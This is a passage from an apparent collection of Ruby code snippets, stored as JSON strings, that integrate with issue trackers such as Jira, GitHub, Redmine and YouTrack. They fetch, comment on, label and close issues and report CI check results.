minutes.\n # This counter expires from Redis in 20 minutes.\n ci_counter = Redis::CI.new(\"check_suite_#{conclusion}_#{sha}\")\n ci_counter.sucess_count_incr\n ActionCable.server.broadcast 'smokedetector_messages', message: message if ci_counter.sucess_count == 1\n end",
"def process_inactive(issue)\n diff_in_months = (Time.now - issue.updated_at) / 60.0 / 60.0 / 24.0 / 30.0\n\n warning_sent = !!issue.labels.find { |a| a.name == AWAITING_REPLY }\n if warning_sent && diff_in_months > ISSUE_CLOSED\n # We sent off a warning, but we have to check if the user replied\n if client.issue_comments(SLUG, issue.number).last.user.login == myself\n # No reply from the user, let's close the issue\n puts \"https://github.com/#{SLUG}/issues/#{issue.number} (#{issue.title}) is #{diff_in_months.round(1)} months old, closing now\"\n body = []\n body << \"This issue will be auto-closed because there hasn't been any activity for a few months. Feel free to [open a new one](https://github.com/bunto/bunto/issues/new) if you still experience this problem 👍\"\n client.add_comment(SLUG, issue.number, body.join(\"\\n\\n\"))\n client.close_issue(SLUG, issue.number)\n client.add_labels_to_an_issue(SLUG, issue.number, [AUTO_CLOSED])\n else\n # User replied, let's remove the label\n puts \"https://github.com/#{SLUG}/issues/#{issue.number} (#{issue.title}) was replied to by a different user\"\n client.remove_label(SLUG, issue.number, AWAITING_REPLY)\n end\n smart_sleep\n elsif diff_in_months > ISSUE_WARNING\n return if issue.labels.find { |a| a.name == AWAITING_REPLY }\n\n puts \"https://github.com/#{SLUG}/issues/#{issue.number} (#{issue.title}) is #{diff_in_months.round(1)} months old, pinging now\"\n body = []\n body << \"There hasn't been any activity on this issue recently. Due to the high number of incoming GitHub notifications, we have to clean some of the old issues, as many of them have already been resolved with the latest updates.\"\n body << \"Please make sure to update to the latest `bunto` version and check if that solves the issue. Let us know if that works for you by adding a comment :+1:\"\n\n client.add_comment(SLUG, issue.number, body.join(\"\\n\\n\"))\n client.add_labels_to_an_issue(SLUG, issue.number, [AWAITING_REPLY])\n smart_sleep\n end\n end",
"def check(issue)\n check_since(issue[:created_at]) && \\\n check_until(issue[:created_at]) && \\\n check_last_activity(issue[:updated_at])\n end",
"def process_inactive(issue)\n diff_in_months = (Time.now - issue.updated_at) / 60.0 / 60.0 / 24.0 / 30.0\n\n warning_sent = !!issue.labels.find { |a| a.name == AWAITING_REPLY }\n if warning_sent && diff_in_months > ISSUE_CLOSED\n # We sent off a warning, but we have to check if the user replied\n if last_responding_user(issue) == myself\n # No reply from the user, let's close the issue\n logger.info(\"https://github.com/#{SLUG}/issues/#{issue.number} (#{issue.title}) is #{diff_in_months.round(1)} months old, closing now\")\n body = []\n body << \"This issue will be auto-closed because there hasn't been any activity for a few months. Feel free to [open a new one](https://github.com/#{SLUG}/issues/new) if you still experience this problem :+1:\"\n client.add_comment(SLUG, issue.number, body.join(\"\\n\\n\"))\n client.close_issue(SLUG, issue.number)\n client.add_labels_to_an_issue(SLUG, issue.number, [AUTO_CLOSED])\n else\n # User replied, let's remove the label\n logger.info(\"https://github.com/#{SLUG}/issues/#{issue.number} (#{issue.title}) was replied to by a different user\")\n client.remove_label(SLUG, issue.number, AWAITING_REPLY)\n end\n smart_sleep\n elsif diff_in_months > ISSUE_WARNING\n return if issue.labels.find { |a| a.name == AWAITING_REPLY }\n\n logger.info(\"https://github.com/#{SLUG}/issues/#{issue.number} (#{issue.title}) is #{diff_in_months.round(1)} months old, pinging now\")\n body = []\n body << \"There hasn't been any activity on this issue recently. Due to the high number of incoming GitHub notifications, we have to clean some of the old issues, as many of them have already been resolved with the latest updates.\"\n body << \"Please make sure to update to the latest `fastlane` version and check if that solves the issue. Let us know if that works for you by adding a comment :+1:\"\n body << \"Friendly reminder: contributions are always welcome! Check out [CONTRIBUTING.md](https://github.com/fastlane/fastlane/blob/master/CONTRIBUTING.md) for more information on how to help with `fastlane` and feel free to tackle this issue yourself :muscle:\"\n body << \"\\n\\nThis issue will be auto-closed if there is no reply within #{months(ISSUE_CLOSED)}.\"\n\n client.add_comment(SLUG, issue.number, body.join(\"\\n\\n\"))\n client.add_labels_to_an_issue(SLUG, issue.number, [AWAITING_REPLY])\n smart_sleep\n end\n end",
"def run\n case issue.action\n when \"opened\"\n job = PuppetLabs::Trello::TrelloIssueJob.new\n job.issue = issue\n delayed_job = job.queue\n logger.info \"Successfully queued up opened issue #{issue.repo_name}/#{issue.number} as job #{delayed_job.id}\"\n body = {\n 'job_id' => delayed_job.id,\n 'queue' => delayed_job.queue,\n 'priority' => delayed_job.priority,\n 'created_at' => delayed_job.created_at,\n }\n return [ACCEPTED, {}, body]\n else\n logger.info \"Ignoring issue #{issue.repo_name}/#{issue.number} because the action is #{issue.action}.\"\n body = { 'message' => 'Action has been ignored.' }\n return [OK, {}, body]\n end\n end",
"def get_issues\n jira_issues = Hash.new\n # This is the REST URL that will be hit. Change the jql query if you want to adjust the query used here\n uri = URI(JIRA_BASE_URL + '/rest/api/2/search?jql=' + JQL)\n\n Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|\n request = Net::HTTP::Get.new(uri)\n request.basic_auth USERNAME, PASSWORD\n response = http.request request\n # If the response was good, then grab the data\n if response.code =~ /20[0-9]{1}/\n data = JSON.parse(response.body)\n data[\"issues\"].each do |item|\n jira_id = item[\"key\"]\n jira_issues[jira_id] = item[\"fields\"][\"summary\"]\n end\n else\n raise StandardError, \"Unsuccessful HTTP response code: \" + response.code\n end\n end\n return jira_issues\nend",
"def issues(jql, opts = { max_results: 50, fields: nil, expand: nil })\n raw do |jira|\n start = 0\n tickets = []\n total = jira.Issue.jql(jql, max_results: 0)\n @log.debug \"Found #{total} ticket(s) in '#{jql}'\"\n loop do\n tickets.concat(jira.Issue.jql(jql, opts.merge(start_at: start))\n .map { |i| Lazylead::Issue.new(i, jira) })\n @log.debug \"Fetched #{tickets.size}\"\n start += opts.fetch(:max_results, 50).to_i\n break if start > total\n end\n tickets\n end\n end",
"def get_issues_per_status(view_id, sprint_id, issue_count_array, issue_sp_count_array)\n current_start_at = 0\n\n begin\n response = get_response(\"/rest/agile/1.0/board/#{view_id}/sprint/#{sprint_id}/issue?startAt=#{current_start_at}\")\n page_result = JSON.parse(response.body)\n issue_array = page_result['issues']\n\n issue_array.each do |issue|\n accumulate_issue_information(issue, issue_count_array, issue_sp_count_array)\n end\n\n current_start_at = current_start_at + page_result['maxResults']\n end while current_start_at < page_result['total']\nend",
"def get_jira_tickets(status, project, version, max_num_results=300)\n\n response = @client.call(:get_issues_from_jql_search,\n message: {:token => @token,\n :jqlSearch => 'status in (' + status + ') and project=' + project + ' and fixVersion in (' + version + ')',\n :maxNumResults => max_num_results})\n #if response is empty\n if response.to_hash[:multi_ref].nil?\n nil\n else\n jira_tickets = []\n response.to_hash[:multi_ref].each do |tickets|\n if !tickets[:key].nil? and !tickets[:summary].nil?\n jira_tickets << [tickets[:key], tickets[:summary], 'http://'+@jira_host+'/browse/'+tickets[:key].to_s]\n end\n end\n jira_tickets\n end\n rescue Savon::SOAPFault => error\n return false, error.to_hash[:fault][:faultstring].match(/.*?:(.*)/)[1]\n end",
"def fetch_issues()\n\n # fetch last created date\n last_creation = @kv.get(@last_creation_k) # || \"2015-05-11T16:37:21Z\"\n\n # request Redmine issues\n issues = @redmine_api.issues(created_on: \">=#{last_creation}\", limit:200, sort:\"created_on\")['issues']\n puts issues if self.verbose\n \n # filter issues to include only certain projects, avoid certain users, avoid self tickets\n issues = issues.select do |issue|\n Utils.project_whitelisted? issue and Utils.user_not_blacklisted? issue and not Utils.ticket_to_self? issue\n end\n\n # no issues\n if issues.empty?\n puts \"#{Utils.human_timestamp} No new issues since #{last_creation}.\"\n return\n end\n\n # post issues\n issues.each do |issue|\n post_issue(issue)\n end\n\n # store the created data of the last ticket + 1 second\n last_creation = issues.last[\"created_on\"]\n last_creation_plus = (Time.parse(last_creation)+1).iso8601\n @kv.put(@last_creation_k, last_creation_plus)\n \n puts \"#{Utils.human_timestamp}: Posted #{issues.length} issues. Last created #{@kv.get(@last_creation_k)}\"\n\n end",
"def gather_issues(status_id, options)\n url = \"#{options[:url]}/issues.json?status_id=#{status_id}&updated_on=#{options[:date]}\" +\n \"&assigned_to_id=#{user_to_id(options[:user])}&limit=100\"\n puts url\n uri = URI(URI.escape(url))\n response = Net::HTTP.get(uri)\n JSON.parse(response)\nend",
"def update_issue(issue_data, issue_task, build_number)\n \n issue_key = issue_data.key\n comments = @jira.getComments(issue_key)\n last_comment = comments.last\n\n # get the status\n status = STATUS.index(issue_data.status)\n if !status\n puts \"ERROR: unknown status for issue #{issue_key}: \"\n p issue_data\n return\n end\n\n puts \"status for issue #{issue_key} = #{status}\" if @dry_run\n\n # comment will be posted if\n # - the last comment wasn't already from the deploy notify script\n # - if the state is in :notyetstarted, :started, :finished or :rejected mode\n if (last_comment && !last_comment.body.start_with?(FIXED_COMMENT_PREFIX)) || !last_comment\n \n txt = String.new(FIXED_COMMENT_PREFIX) # comment should always begin with this\n txt << \"Fixed in Git and deployed with build #{build_number}\"\n\n if [:notyetstarted, :started, :finished, :rejected].include?(status)\n\n if status != :finished\n txt << \"\\n\\nNOTE: this issue is not in expected finished state... please verify and update status to delivered if necessary\"\n end\n\n comment = Jira4R::V2::RemoteComment.new()\n comment.body = txt\n\n begin\n @jira.addComment(issue_key, comment) if !@dry_run\n rescue => err\n puts \"ERROR: unable to add comment to issue issue #{issue_key}:\\n#{err}\"\n end\n\n # jira won't allow us to update status to delivered unless it's in rejected state\n if status == :finished\n puts \"updating issue #{issue_key} to status delivered\"\n begin\n @jira.progressWorkflowAction(issue_key, JIRA_ACTION_ID[:delivered], []) if !@dry_run\n rescue => err\n puts \"ERROR: unable to update issue #{issue_key}:\\n#{err}\"\n end\n else\n puts \"issue #{issue_key} is in unexpected status #{status}, not updating status.\"\n end\n end\n end\n end",
"def fetching\n jql_string = add_range_to_jql(add_project_name_to_jql(initializing_jql_string))\n # customfield_11130 - sprint information stored here(Jira-SoftServe), add this field if you want fetch sprint information\n @basic_query_params[:fields] = ['assignee','key','status','issuetype','priority','customfield_10002','timeoriginalestimate','aggregatetimespent']\n\n arr = issues_by_jql(jql_string)\n arr.map do |issue|\n MGT::JiraStructure.new(\n *argument_composer(issue)\n )\n end\n end",
"def fetch_issues(jql)\n issues = []\n max_result = config.jira.max_results.to_i\n query_options = {\n :fields => [],\n :start_at => 0,\n :max_results => max_result\n }\n begin \n temp_issues = []\n temp_issues = client.Issue.jql(jql, query_options)\n while (temp_issues.length > 0)\n issues += temp_issues\n query_options[:start_at] += max_result\n temp_issues = client.Issue.jql(jql, query_options)\n end\n rescue JIRA::HTTPError => e\n issues = nil\n log.error('JIRA HTTPError')\n end\n return issues\n end",
"def query_issues(jql_criteria)\n url = \"#{@base_url}/rest/api/2/search\"\n jql_criteria[\"maxResults\"] = \"5\"\n comment = \"Searching Issues via jql: #{jql_criteria.inspect}\"\n options = [@login_options, {\"data\" => jql_criteria}].inject(:merge)\n result = rest_call(url, \"post\", options)\n #log result.inspect\n result\n end",
"def issues_by_jql jql\n @access_client.Issue.jql(jql, self.basic_query_params)\n end",
"def notify_issue_id_not_found(task)\n str = <<eos\nHi, this is the Git reporting script. Your Git commit logs indicate that you finished issue %s but I can't\nfind that issue in Jira. Please review your Git commit and update Jira as appropriate.\neos\n str = sprintf(str, task[:task_num]) + printable_commit_data(task)\n email_message(\"ACTION REQUIRED - invalid Jira ID\", str, task[:commits].last[:author_email])\n end",
"def issues\n dashboard = fetch_email_dashboard\n respond_with Emails.new(dashboard.issues, issues_emails_url)\n end",
"def receive_issue_impact_change(config, payload)\n parsed = parse_url config[:project_url]\n project_key = parsed[:project_key]\n http.ssl[:verify] = true\n http.basic_auth config[:username], config[:password]\n\n resp = http_get \"#{parsed[:url_prefix]}/rest/api/2/project/#{project_key}\"\n # Get the numeric project id from the JIRA project key, so that we can post issues to this project.\n project_id = JSON.parse(resp.body).is_a?(Hash) ? JSON.parse(resp.body)['id'] : JSON.parse(resp.body)[0]['id']\n\n users_text = \"\"\n crashes_text = \"\"\n if payload[:impacted_devices_count] == 1\n users_text = \"This issue is affecting at least 1 user who has crashed \"\n else\n users_text = \"This issue is affecting at least #{ payload[:impacted_devices_count] } users who have crashed \"\n end\n if payload[:crashes_count] == 1\n crashes_text = \"at least 1 time.\\n\\n\"\n else\n \"at least #{ payload[:crashes_count] } times.\\n\\n\"\n end\n\n issue_description = \"Crashlytics detected a new issue.\\n\" + \\\n \"#{ payload[:title] } in #{ payload[:method] }\\n\\n\" + \\\n users_text + \\\n crashes_text + \\\n \"More information: #{ payload[:url] }\"\n\n post_body = { 'fields' => {\n 'project' => {'id' => project_id},\n 'summary' => payload[:title] + ' [Crashlytics]',\n 'description' => issue_description,\n 'issuetype' => {'id' => '1'} } }\n\n resp = http_post \"#{parsed[:url_prefix]}/rest/api/2/issue\" do |req|\n req.headers['Content-Type'] = 'application/json'\n req.body = post_body.to_json\n end\n if resp.status != 201\n raise \"Jira Issue Create Failed: #{ resp[:status] }, body: #{ resp.body }\"\n end\n { :jira_story_id => JSON.parse(resp.body)['id'] }\n end",
"def gather_issues\n url = \"#{URL}/projects/foreman/issues.json?status_id=1&limit=100&release_id=#{@current_release_id}\"\n puts url\n uri = URI(URI.escape(url))\n response = Net::HTTP.get(uri)\n JSON.parse(response)\nend",
"def test_connection\n error = nil\n @basic_query_params = {\n :fields => {},\n :start_at => 0,\n :max_results => 1000000000\n }\n begin\n response = @access_client.get('/secure/Dashboard.jspa')\n\n if response.code == '502'\n error = 'Something going wrong in JIRA server side. Please, try later.'\n elsif response.code == '403'\n error = 'Please, check your access rights to JIRA.'\n end\n rescue JIRA::HTTPError\n error = 'Please check your credentials or right URL address for Jira'\n end\n check_for_correct_jira_project(error)\n end",
"def show\n @bugs = service_method(:bugs_by_board,boardid: @sprint.team.board_id,startdate: @sprint.start_date, enddate: @sprint.enddate, options: {fields: :key}).map {|elem| Connect::Issue.new(elem)}\n end",
"def scan_for_issue message, hash, cookies, http\n\tif !$issue_regex.match(message)\n\t\tputs \"[Policy Violation] - No YouTrack issues found in commit message. Please amend git commit #{hash}.\"\n\t\tfixme_text hash\n\t\treturn ''\n\tend\n\tmessage.scan($issue_regex) do |m, issue|\n\t\tissue_url = \"/youtrack/rest/issue/#{issue}\"\n\t\trequest = Net::HTTP::Get.new(issue_url)\n\t\trequest['Cookie'] = cookies\n\t\tresponse = http.request(request)\n\t\tif response.code == '404'\n\t\t\tputs \"[Policy Violation] - Issue not found: ##{issue}. Please amend git commit #{hash}.\"\n\t\t\tfixme_text hash\n\t\t\treturn ''\n\t\telsif response.code == '200'\n\t\t\treturn issue \n\t\telse\n\t\t\tputs \"[Policy Violation] - Issue returns invalid HTTP response. Check your youtrack status.\"\n\t\t\treturn ''\n\t\tend\n\tend\nend",
"def check\n response = HTTParty.get base_url, request_options\n # If there are no new notifications, you will get a \"304 Not Modified\"\n return if response.code == 304\n\n notifications = JSON.parse(response.body)\n if response.code > 400\n error(\"Error during http request: #{response.body}\")\n return\n end\n notifications.each do |notif|\n data = notif['subject'].merge(\n repo_name: notif['repository']['full_name']\n )\n subject = ::HuginnGithubNotificationsAgent::Subject.new(data)\n notif['subject'] = subject.to_h\n end\n if emit_single_event?\n create_event payload: { notifications: notifications }\n else\n notifications.each { |notification| create_event payload: notification }\n end\n memory[:last_modified] = response.headers['last-modified']\n end",
"def check\n check_results\n .reject { |r| r.length.zero? }\n .map { |r| send_comment r }\n end",
"def index\n @issues = Issue.all.order(created_at: :desc)\n if @issues.present?\n render :index, status: :ok\n else\n @message = \"no issues found\"\n render :error, status: :not_found\n end\n end",
"def inspector_received_empty_report(_, inspector)\n UI.puts 'Found no similar issues. To create a new issue, please visit:'\n UI.puts \"https://github.com/#{inspector.repo_owner}/#{inspector.repo_name}/issues/new\"\n end",
"def set_issue\n respond_with_notify('Value not found in DB', 'alert') unless @issue = Issue.find_by_id(params[:id])\n end",
"def issues(*args)\n params = arguments(args, required: [:q]).params\n params['q'] ||= arguments.q\n\n get_request('/search/issues' , params)\n end",
"def issue_status\n id = params[:issue_id]\n if id\n issue = Issue.find(id.to_i)\n if issue\n render :status => 200, :text => issue.status.name\n else\n render :status => 404, :text => 'Issue not found'\n end\n else\n render :status => 400 , :text => 'Invalid issue_id'\n end\n end",
"def wasItSentToJira\n if @doc.xpath('//Attribute[@name=\"Custom_JIRAIntStatus.Name\"]').text == \"Send to JIRA\"\n return 1\n end\n\n return 0\n end",
"def read_and_run(access_token, issue_key, issue_id)\n errors = []\n execution_id = 0\n begin \n test_steps = @j2jira.read_test_data(issue_key, issue_id)\n execution_id = @j2jira.new_execution(issue_key, issue_id)\n test_steps.each_with_index do |step, index|\n api_spec_json = JSON.parse(step[\"step\"]) \n errors = @validator.validate_api_spec(api_spec_json)\n return errors unless errors.size.eql?(0)\n api_req_body = step[\"data\"]\n res_schema = step[\"result\"]\n controls = api_spec_json[\"api_spec\"][\"controls\"]\n delay_minutes = controls.nil? ? 0 : controls[\"delay_minutes\"]\n return [] if delay_minutes.eql?(-1)\n puts \"before sleep: #{Time.now}\"\n sleep delay_minutes*60 unless delay_minutes.eql?(0)\n puts \"after sleep #{Time.now}\"\n errs = run_step(access_token, api_spec_json, api_req_body, res_schema)\n errors << \"step #{index} failed with errors: #{errs.join('|')}\" unless errs.size.eql?(0)\n #skip iteration when errors exists in a given step.\n break if errors.size > 0 \n end \n rescue JSON::ParserError => pe\n errors << \"error in test case, please check json format for Test Step, Test Data and Expected Result or the API response\" \n rescue Exception => e \n puts \"exception occured #{e}\"\n errors << \"something went wrong - #{e.message}\"\n ensure\n puts \"do we have errors for the Jira Issue: #{issue_key}? #{errors}\"\n @failed_executions+= 1 unless errors.size.eql?(0)\n @j2jira.update_test_case(execution_id, issue_key, errors) unless execution_id.eql?(0)\n @j2jira.issue_comment(issue_key, errors) \n end \n end",
"def get_jira_issue(jql_hash, index)\n\tkey = jql_hash[\"issues\"][index][\"key\"].to_s\n\tputs \"pulling Jira issue #{key}...\"\n\tCurlCommand.curl_single_issue_jql($user, key, \"ISSUE/\" + key + \".json\")\n\tissue_path = Dir.pwd\n\tissue_directory = issue_path + \"/ISSUE/\" + key + \".json\"\n\tputs \"Jira Issue saved to #{issue_directory}\"\n\tputs \"#######################################\", \"\"\nend",
"def update\n if @issue.update(issue_params)\n \n \n if @issue.status == 'Resolved'\n # send email \n @issue.resolved\n end\n \n \n \n redirect_to admin_issue_path( @issue)\n \n else\n redirect_to edit_admin_issue_path( @issue)\n end\n end",
"def index\n @jira_issues = JiraIssue.all\n end",
"def update_jira_issues(issues, build_number)\n puts \"Updating jira issues...\"\n issues.each do |issue|\n issue_data = find_issue_by_id(issue[:task_num])\n if (issue_data)\n # issue was found, update comments and status\n update_issue(issue_data, issue, build_number)\n # set issue title in task object\n issue[:task_name] = issue_data.summary\n else\n # unknown issue, notify author of commit\n @email_reporter.notify_issue_id_not_found(issue)\n end\n end\n end",
"def initiate_check_run\n logger.debug \"initiate_check_run\"\n token = get_installation_token\n installation_client = Octokit::Client.new(bearer_token: token)\n\n # This method is called in response to GitHub acknowledging our request to create a check run.\n # We'll first update the check run to \"in progress\"\n # Then we'll run our CI process\n # Then we'll update the check run to \"completed\" with the CI results.\n\n # Octokit doesn't yet support the Checks API, but it does provide generic HTTP methods we can use!\n # https://developer.github.com/v3/checks/runs/#update-a-check-run\n # notice the verb! PATCH!\n result = installation_client.patch(@payload['check_run']['url'], {\n accept: 'application/vnd.github.antiope-preview+json', # This header is necessary for beta access to Checks API\n name: 'Maximum lines of code',\n status: :in_progress\n })\n\n # ***** DO IT! *****\n # This is where we would kick off our CI process. Ideally this would be performed async, so we could\n # return immediately. But for now we'll do a simulated CI process syncronously, and update the check run right here..\n pull_requests = result['pull_requests']\n pr = pull_requests[0]\n logger.debug \"Pull Request #{pr}\"\n repo = pr['base']['repo']['id']\n pr_number = pr['number']\n logger.debug \"Repo: #{repo} PR: #{pr_number}\"\n\n pull = installation_client.pull_request(repo, pr_number)\n logger.debug \"=====================\"\n logger.debug pull\n logger.debug \"=====================\"\n additions = pull['additions']\n # Was this a success?\n result = additions < 400 ? :success : :failure # could also be :failure\n logger.debug \"RESULT IS: #{result}\"\n\n opts = {\n accept: 'application/vnd.github.antiope-preview+json', # This header is necessary for beta access to Checks API\n name: 'Maximum lines of code',\n status: :completed,\n conclusion: result,\n completed_at: Time.now.utc.iso8601,\n\n head_branch: @payload['check_suite'].nil? ? @payload['check_run']['check_suite']['head_branch'] : @payload['check_suite']['head_branch'],\n head_sha: @payload['check_suite'].nil? ? @payload['check_run']['head_sha'] : @payload['check_suite']['head_sha']\n\n }\n\n # If there were more details from a real CI, such as warning details, line numbers, and so forth, we could add them to\n # the opts object here, like this:\n # if result == :failure\n # output = {\n # title: 'Awesome CI Warnings',\n # summary: 'There were problems with the submitted code',\n # annotations: []\n # }\n # ci_output.warnings.each do |warning|\n # # we need to take the local relative path, and extract the repo-relative path\n # filename = warning.filename\n # annotation = {\n # path: filename,\n # blob_href: \"#{@payload['repository']['blobs_url']}/#{filename}\".sub('{/sha}', \"/#{sha}\"),\n # start_line: warning.line_number,\n # end_line: warning.line_number,\n # annotation_level: :warning, #or :failure\n # message: warning.message\n # }\n # output[:annotations].push annotation\n # end\n #\n # opts[:output] = output\n # end\n\n # Now, mark the check run as complete! And if there are warnings, share them\n result = installation_client.patch(@payload['check_run']['url'], opts)\n\n result.attrs\n end",
"def index\n @notice = \"ALL Issues\"\n @@selected_label=nil\n @@found_by=false\n @@assigned_to=false\n get_bugs\n get_count_of_issue\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bugs }\n end\n end",
"def show\n final_params = []\n unless @repo.scans.last == nil\n last_scan_id = @repo.scans.last.id\n final_query_array = [\"SELECT * FROM issues WHERE scan_id = ?\", \"ORDER BY issues.severity DESC\"]\n final_params.push(last_scan_id)\n final_query = final_query_array.join(\" \")\n @issues = Issue.find_by_sql [final_query, *final_params]\n end\n end",
"def get_jira_issues (code, type)\n if type == \"branch\"\n jira_issues = code.scan(/(?:|^)([A-Za-z]+-[0-9]+)(?=|$)/)\n elsif type == \"pull_request\"\n issues_in_branch = code[\"head\"][\"ref\"].scan(/(?:|^)([A-Za-z]+-[0-9]+)(?=|$)/)\n issues_in_pull_request_title = code[\"title\"].scan(/(?:\\s|^)([A-Za-z]+-[0-9]+)(?=\\s|$)/)\n # if there are more tickets in the branch than in the pull request, use the tickets in the branch, else use pr tickets\n if issues_in_branch.length > issues_in_pull_request_title.length\n jira_issues = issues_in_branch\n else\n jira_issues = issues_in_pull_request_title\n end\n end\n\n return jira_issues\nend",
"def updateStatus\n\n storyURI = @details['Assets']['Asset']['href']\n\n statusXml = '<Asset>\n <Attribute name=\"Custom_JIRAIntStatus\" act=\"set\">' + @mapping.SendToJiraMap['Resolved in JIRA'] + '</Attribute>\n </Asset>'\n\n r_status = self.class.post(\"#{storyURI}\", :body => statusXml,\n :headers => {\"content_type\" => \"application/xml\"}, :verify => false)\n\n if r_status['Error']\n p r_status['Error']\n else\n @persist.updateDefectStatus(@story)\n return 1\n end\n return 0\n end",
"def index\n @native_issues = NativeIssue.where(nil) # creates an anonymous scope\n\n filtering_params(params).each do |key, value|\n @native_issues = @native_issues.public_send(key, value) if value.present?\n end\n\n @opened_by = User.find(params[:added_by]) if params[:added_by]\n @after = Date.strptime(params[:after], '%Y-%m-%d') if params[:after]\n @before = Date.strptime(params[:before], '%Y-%m-%d') if params[:before]\n\n if(params[:node] != nil)\n @node = Node.find(params[:node])\n @node_issues = @node.getAllIssues\n\n @native_issues = @native_issues & @node_issues\n end\n\n if params[:issue_status] != nil\n @any_status = @native_issues\n @native_issues = Array.new\n if params[:issue_status] == \"open\" \n #anything not closed w/o resolution or resolved with is not done\n @any_status.each do |issue|\n if (issue.resolved_with == nil and !issue.close_without_resolution) or (issue.resolved_with != nil and !issue.resolved_with.status)\n @native_issues << issue\n end\n end\n elsif params[:issue_status] == \"unaddressed\" \n #anything without a resolution and not resolved w/o resolution\n @any_status.each do |issue|\n if issue.resolved_with == nil and !issue.close_without_resolution\n @native_issues << issue\n end\n end\n elsif params[:issue_status] == \"resolved\"\n #anything that is closed w/o resolution or resolved with is done\n @any_status.each do |issue|\n if issue.close_without_resolution or (issue.resolved_with != nil and issue.resolved_with.status)\n @native_issues << issue\n end\n end\n end\n\n end\n end",
"def index\n add_breadcrumb :planning\n\n @sprints = @project.sprints.not_running\n @issues = @project.backlog_items.not_completed.where(:sprint_id => nil)\n end",
"def fetch_closed_issues_and_pr\n print \"Fetching closed issues...\\r\" if @options[:verbose]\n issues = []\n page_i = 0\n count_pages = calculate_pages(@client, \"issues\", closed_pr_options)\n\n iterate_pages(@client, \"issues\", closed_pr_options) do |new_issues|\n page_i += PER_PAGE_NUMBER\n print_in_same_line(\"Fetching issues... #{page_i}/#{count_pages * PER_PAGE_NUMBER}\")\n issues.concat(new_issues)\n break if @options[:max_issues] && issues.length >= @options[:max_issues]\n end\n print_empty_line\n Helper.log.info \"Received issues: #{issues.count}\"\n\n # separate arrays of issues and pull requests:\n issues.map { |issue| stringify_keys_deep(issue.to_hash) }\n .partition { |issue_or_pr| issue_or_pr[\"pull_request\"].nil? }\n end",
"def check\n @label, @css_class = IssueChange.change_label_for(User.current, params[:issue_id])\n respond_to do |format|\n format.json { render :json => {:label => @label, :css_class => @css_class}.to_json }\n end\n end",
"def github_check\n base_url = \"repos/#{@project.repository_path}/commits/#{@reference}\"\n preview_header = {Accept: 'application/vnd.github.antiope-preview+json'}\n\n check_suites = GITHUB.get(\"#{base_url}/check-suites\", headers: preview_header)[:check_suites]\n checks = GITHUB.get(\"#{base_url}/check-runs\", headers: preview_header)\n\n overall_state = check_suites.\n map { |suite| check_state_equivalent(suite[:conclusion]) }.\n max_by { |state| STATE_PRIORITY.index(state.to_sym) }\n\n statuses = checks[:check_runs].map do |check_run|\n {\n state: check_state_equivalent(check_run[:conclusion]),\n description: ApplicationController.helpers.markdown(check_run[:output][:summary]),\n context: check_run[:name],\n target_url: check_run[:html_url],\n updated_at: check_run[:started_at]\n }\n end\n\n {state: overall_state || 'pending', statuses: statuses}\n end",
"def settings_test\n case connection && connection.get(\"/rest/api/2/project/#{settings :project_key}\").status\n when 200\n 'Success.'\n when 404\n 'Unknown project key.'\n when 401\n 'Invalid API token.'\n else\n \"Settings incorrect.\"\n end\n rescue\n \"Settings are incorrect or your JIRA instance is not reachable.\"\n end",
"def work_in_progress\n has_wip_label = danger_file.github.pr_labels.any? { |label| label.include? 'WIP' }\n has_wip_title = danger_file.github.pr_title.include? '[WIP]'\n\n danger_file.warn('PR is classed as Work in Progress') if has_wip_label || has_wip_title\n end",
"def story_restart(issues, activity)\n status = IssueStatus.find_by_name \"Accepted\"\n email = get_user_email( activity['project_id'], activity['author'] )\n author = User.find_by_mail email\n update_issues(issues, activity['project_id'], { :status_id => status.id, :assigned_to_id => author.id }) \n end",
"def inspector_successfully_received_report(report, inspector)\n report.issues[0..(NUMBER_OF_ISSUES_INLINE - 1)].each { |issue| print_issue_full(issue) }\n\n if report.issues.count > NUMBER_OF_ISSUES_INLINE\n puts \"and #{report.total_results - NUMBER_OF_ISSUES_INLINE} more at: #{report.url}\"\n puts \"\"\n end\n\n print_open_link_hint\n end",
"def post_issue(issue)\n proj = issue[\"project\"][\"name\"]\n cat = issue[\"category\"] ? issue[\"category\"][\"name\"] : nil\n id = issue[\"id\"]\n subject = issue[\"subject\"]\n description = issue[\"description\"]\n author = issue[\"author\"][\"name\"]\n # author_slack = Utils.convert_redmine_name_to_slack author\n assigned_to = issue[\"assigned_to\"] ? issue[\"assigned_to\"][\"name\"] : :not_assigned\n assigned_to_slack = Utils.convert_redmine_name_to_slack assigned_to\n tracker = issue[\"tracker\"][\"name\"]\n url = SlackAPI.url(issue_url(id), \"##{id}\")\n # updated = issue[\"updated_on\"]\n created = issue[\"created_on\"]\n\n description = RedmineSlackGlue.convert_textile_to_markdown(description.gsub(/\\n\\n/,\"\\n\"))\n color = RedmineSlackGlue.priority_to_color(issue[\"priority\"][\"id\"])\n\n puts \"#{issue[\"priority\"][\"id\"]} #{created} #{proj} ##{id} #{cat} #{subject}\" if self.verbose\n\n cat = RedmineSlackGlue.convert_category(cat)\n\n @slack_api.post({\n :channel => \"##{proj.downcase}\",\n :text => \"#{assigned_to_slack}: Ticket #{url} *#{subject}* - #{tracker}#{cat}\",\n :attachments => [{\n :fallback => RedmineSlackGlue.clean_markup(description),\n :color => color,\n :text => description,\n :mrkdwn_in=> [\"text\"]\n }],\n :username => \"#{author}\",\n :icon_url => REDMINE_ICON_URL\n })\n end",
"def inspector_successfully_received_report(report, inspector)\n report.issues[0..(NUMBER_OF_ISSUES_INLINE - 1)].each { |issue| print_issue_full(issue) }\n\n if report.issues.count > NUMBER_OF_ISSUES_INLINE\n report.url.sub!('\\'', '%27')\n puts(\"and #{report.total_results - NUMBER_OF_ISSUES_INLINE} more at: #{report.url}\")\n puts(\"\")\n end\n\n print_open_link_hint\n end",
"def get_my_issues\n get_json( GITHUB_ISSUES_URL ).each do |item|\n puts \"#{ item[ 'repository' ][ 'full_name' ] }: ##{ item[ 'number' ] } #{ item[ 'title' ] } | href=#{ item[ 'html_url' ] }\"\n end\nend",
